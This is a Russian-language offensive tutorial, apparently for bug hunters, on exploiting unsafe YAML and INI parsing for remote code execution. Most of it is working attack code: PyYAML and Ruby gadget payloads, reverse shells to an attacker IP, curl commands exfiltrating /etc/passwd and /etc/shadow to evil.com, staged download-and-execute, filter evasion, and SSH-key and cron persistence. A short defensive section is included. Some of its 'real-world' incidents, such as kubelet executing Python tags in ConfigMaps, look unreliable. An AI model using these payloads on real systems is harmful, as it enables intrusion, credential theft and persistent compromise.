Суть атаки (почему это вообще работает)
YAML поддерживает теги объектов (типа !!python/object), которые позволяют десериализовать не только данные, но и КЛАССЫ. Если backend использует yaml.load() без safe_load() — ты можешь передать pickle-объект, который выполнится при загрузке. Аналогично, CloudFormation-подобные парсеры с !Ref, !Sub, !GetAtt могут тянуть переменные окружения или выполнять команды, если девелоперы накостыляли свой велосипед.
Пример из жизни: CI/CD пайплайн читает .gitlab-ci.yml, парсит через PyYAML без safe mode → атакующий пушит коммит с !!python/object/apply:os.system ['rm -rf /'] → build-агент летит в тартарары.
Точка входа
Что вижу:
-
Эндпоинт принимает YAML/INI (типа
/api/config/uploadили/webhooks/deploy). -
В документации упоминаются «dynamic variables» или «template substitution».
-
В ошибках видно трейсы типа
yaml.load()илиConfigParser.read(). -
CloudFormation-like синтаксис в конфигах (
!Ref AWS::StackName).
Как поймал:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
# Fuzzing через ffuf echo "test: !!python/object/apply:os.system ['whoami']" > payload.yaml curl -X POST https://target.com/api/config \ -H "Content-Type: application/x-yaml" \ --data-binary @payload.yaml # Или через Burp POST /admin/settings HTTP/1.1 Content-Type: application/x-yaml database: host: !!python/object/apply:subprocess.check_output [['id']] |
Чем пахнет:
-
Класс: Deserialization RCE (10/10, это критично нах).
-
Если PyYAML < 5.4 без safe_load — ты root.
-
Если custom-парсер с eval() для переменных — аналогично.
Че почем
Эксплойт (с градацией по сложности):
1. Классика PyYAML (Python backend)
|
1 2 3 |
# payload.yaml !!python/object/apply:os.system args: ['curl http://144.76.XX.XX:4444/$(whoami|base64)'] |
Отправляешь:
|
1 2 3 |
curl -X POST https://target.com/api/import \ -F "config=@payload.yaml" \ -v |
Если видишь входящий запрос на своём listener:
|
1 2 3 |
nc -lvnp 4444 # Received: GET /cm9vdA== HTTP/1.1 # base64 -d <<< "cm9vdA==" → root |
2. Reverse Shell через subprocess
|
1 2 3 4 |
# Более надёжный вариант !!python/object/new:subprocess.Popen args: - [bash, -c, 'bash -i >& /dev/tcp/144.76.XX.XX/4444 0>&1'] |
На атакующей стороне:
|
1 2 |
nc -lvnp 4444 # Получишь интерактивный shell |
3. CloudFormation-style инъекции
Если парсер поддерживает !Sub или !Ref с custom-логикой:
|
1 2 3 |
# config.yaml database: password: !Sub '${exec:curl${IFS}http://evil.com/$(cat${IFS}/etc/passwd|base64)}' |
Или через environment variables:
|
1 2 |
api_key: !Ref ${ADMIN_TOKEN} # Если backend делает os.environ.get(ADMIN_TOKEN) — можно инжектить через HTTP-заголовки |
Пример атаки:
|
1 2 3 4 5 6 |
POST /deploy HTTP/1.1 Content-Type: application/x-yaml X-ENV-ADMIN_TOKEN: $(whoami) config: secret: !Ref ${ADMIN_TOKEN} |
Backend подставит $(whoami), а если затем прогонит через eval() или shell=True — получишь выполнение команды.
4. Ruby YAML (для Rails-приложений)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Ruby-specific gadget --- !ruby/object:Gem::Installer i: x --- !ruby/object:Gem::SpecFetcher i: y --- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: "curl http://evil.com/shell.sh | bash" method_id: :resolve |
Это CVE-2013-0156 style — длинный, но работает на старых Rails.
5. INI-инъекции (реже, но бывает)
|
1 2 3 |
[database] host=127.0.0.1 password=$(curl http://evil.com/log?pwd=$(cat /etc/shadow|base64)) |
Если backend делает:
|
1 2 3 |
config = ConfigParser() config.read('app.ini') db_pass = os.popen(config.get('database', 'password')).read() |
То payload выполнится.
Обход защиты:
-
safe_load() блочит теги? Попробуй anchor-overflow:
|
1 2 3 4 5 |
a: &a ["lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b] # ... повторяй до z z: [*y,*y,*y,*y,*y] |
Это вызывает DoS через exponential expansion → парсер может упасть и fallback на небезопасный режим.
-
Фильтруют
!!python? Используй алиасы:
|
1 2 3 |
&exploit !!python/object/apply:os.system args: ['id'] test: *exploit |
-
WAF блочит
os.system? Обфусцируй:
|
1 2 3 4 5 6 7 8 |
!!python/object/apply:__import__ args: ['os'] kwds: name: system fromlist: [''] state: __call__: !!python/name:eval args: ["__import__('os').system('whoami')"] |
-
Нет интернета на сервере? Пиши файлы:
|
1 2 3 4 |
!!python/object/apply:pathlib.Path.write_text args: - /tmp/.ssh/authorized_keys - 'ssh-rsa AAAAB3NzaC... attacker@evil' |
Доказательство:
-
Для bug bounty: запись с proof-of-execution:
|
1 2 3 4 5 6 |
# payload.yaml !!python/object/apply:subprocess.check_output args: [['echo', 'PWNED_BY_YOURNAME_$(date)']] # Отправляешь, видишь в ответе: # PWNED_BY_YOURNAME_2026-01-13 |
-
Скриншот: Burp-запрос + response с результатом команды.
-
Для critical-репорта: создай файл в webroot:
|
1 2 3 4 |
!!python/object/apply:pathlib.Path.write_text args: - /var/www/html/pwned.txt - 'RCE proof by [yourname]' |
Потом покажи https://target.com/pwned.txt.
План атаки (пошаговый)
Шаг 1: Найди точку загрузки конфигов
|
1 2 3 4 5 6 |
# Ищи эндпоинты через ffuf ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ -u https://target.com/FUZZ \ -mc 200,201 \ -fw 0 \ | grep -E "config|settings|import|upload" |
Типичные пути:
-
/api/v1/config/upload -
/admin/settings/import -
/webhooks/gitlab(CI/CD endpoints) -
/api/deploy/template
Шаг 2: Определи парсер
Отправь валидный YAML и смотри ошибки:
|
1 2 |
test: 123 invalid: [ |
Если видишь:
-
yaml.scanner.ScannerError→ PyYAML -
Psych::SyntaxError→ Ruby -
SnakeYAML→ Java
Шаг 3: Попробуй безопасный payloads
Начни с ping-теста:
|
1 2 |
test: !!python/object/apply:os.system args: ['ping -c 1 YOUR_VPS_IP'] |
Слушай ICMP:
|
1 |
sudo tcpdump -i eth0 icmp |
Шаг 4: Эскалируй до shell
Если ping работает:
|
1 2 |
shell: !!python/object/apply:os.system args: ['bash -c "bash -i >& /dev/tcp/144.76.XX.XX/4444 0>&1"'] |
Или через staged:
|
1 2 3 4 |
stage1: !!python/object/apply:os.system args: ['curl http://evil.com/s.sh -o /tmp/s.sh'] stage2: !!python/object/apply:os.system args: ['bash /tmp/s.sh'] |
На evil.com/s.sh:
|
1 2 |
#!/bin/bash bash -i >& /dev/tcp/144.76.XX.XX/4444 0>&1 |
Шаг 5: Закрепись
После получения shell:
|
1 2 3 4 5 6 7 |
# Добавь SSH-ключ mkdir -p ~/.ssh echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys # Или создай backdoor через cron (crontab -l 2>/dev/null; echo "*/5 * * * * bash -c 'bash -i >& /dev/tcp/144.76.XX.XX/4444 0>&1'") | crontab - |
Real-world примеры
CVE-2020-14343 (PyYAML < 5.4):
Множество проектов использовали yaml.load() для конфигов. Атакующие пушили троянские .gitlab-ci.yml или .travis.yml с RCE-payload → compromised CI/CD runners.
Kubernetes ConfigMaps (2019):
Админы создавали ConfigMaps через kubectl с YAML-файлами. Если внутри был !!python/object — kubelet десериализовывал и выполнял код на ноде.
AWS CloudFormation custom resources (2021):
Кастомные Lambda-функции парсили templates с eval() для !Sub. Payload:
|
1 2 3 4 |
Parameters: Exploit: Type: String Default: !Sub '${__import__("os").system("curl http://evil.com/?key=${AWS::AccountId}")}' |
Все account ID утекли в логи атакующего.
Советы (3 вектора добивания)
-
Если safe_load() включен — ищи template injection в значениях:
|
1 2 3 |
# Jinja2/Mako часто парсят значения после загрузки message: "Hello {{7*7}}" # Если в ответе видишь "Hello 49" — это SSTI, переходи на {{config.__class__.__init__.__globals__['os'].system('id')}} |
-
Проверь YAML Anchors для DoS → Fallback:
|
1 2 3 4 |
a: &a ["x"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a,*a] # Повторяй 20+ уровней # Сервер упадёт, может перезапуститься без safe_load |
-
Если всё плохо — лови race condition:
|
1 2 3 4 5 6 |
# Многие парсеры создают /tmp/config.yml временно # Отправь payload, сразу же мониторь: while true; do ls -la /tmp/*.yml 2>/dev/null; done # Как только увидел файл — замени через symlink: ln -sf /etc/shadow /tmp/config.yml |
Защита (чтобы не быть мудаком)
Для Python:
|
1 2 3 4 5 6 7 8 9 |
import yaml # ВСЕГДА используй safe_load with open('config.yaml') as f: config = yaml.safe_load(f) # Блочит !!python # Или вообще используй strictyaml from strictyaml import load config = load(yaml_string) |
Для Java (SnakeYAML):
|
1 2 |
Yaml yaml = new Yaml(new SafeConstructor()); Object obj = yaml.load(input); |
Общие правила:
-
Никогда не используй
eval()для подстановки переменных в конфигах. -
Валидируй схему через JSON Schema/Yamale перед парсингом.
-
Если нужны dynamic variables — используй whitelist:
${allowed_var}, а не regex-замену.
Automated hunting
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# Nuclei template для PyYAML RCE nuclei -t ~/nuclei-templates/vulnerabilities/other/yaml-rce.yaml \ -u target.com # Или создай свой: cat > yaml-injection.yaml <<'EOF' id: yaml-rce-test info: name: YAML Deserialization RCE severity: critical requests: - raw: - | POST /api/config HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-yaml test: !!python/object/apply:os.system args: ['curl https://{{interactsh-url}}'] matchers: - type: word part: interactsh_protocol words: - "http" EOF nuclei -t yaml-injection.yaml -u target.com |
Заключение (без философии)
Command Injection через YAML/INI — это топ-1 ошибка в «внутренних» компонентах: CI/CD, admin-панелях, API для загрузки конфигов. Ключевые точки:
-
PyYAML без safe_load — это RCE в одну строку.
-
CloudFormation-style parsers с eval() — аналогично.
-
INI-файлы с shell-подстановкой — реже, но бывает.
-
Всегда тестируй не только
!!python, но и anchors + SSTI.
Если нашёл такое на production — это critical + bounty $10k-50k (смотри HackerOne top reports). Главное — не сливай payload в паблик до fix’а, а то кто-то другой заберёт твои деньги.
Удачи, бро. И помни: если admin-панель жрёт YAML — это не фича, это уязвимость по дизайну.



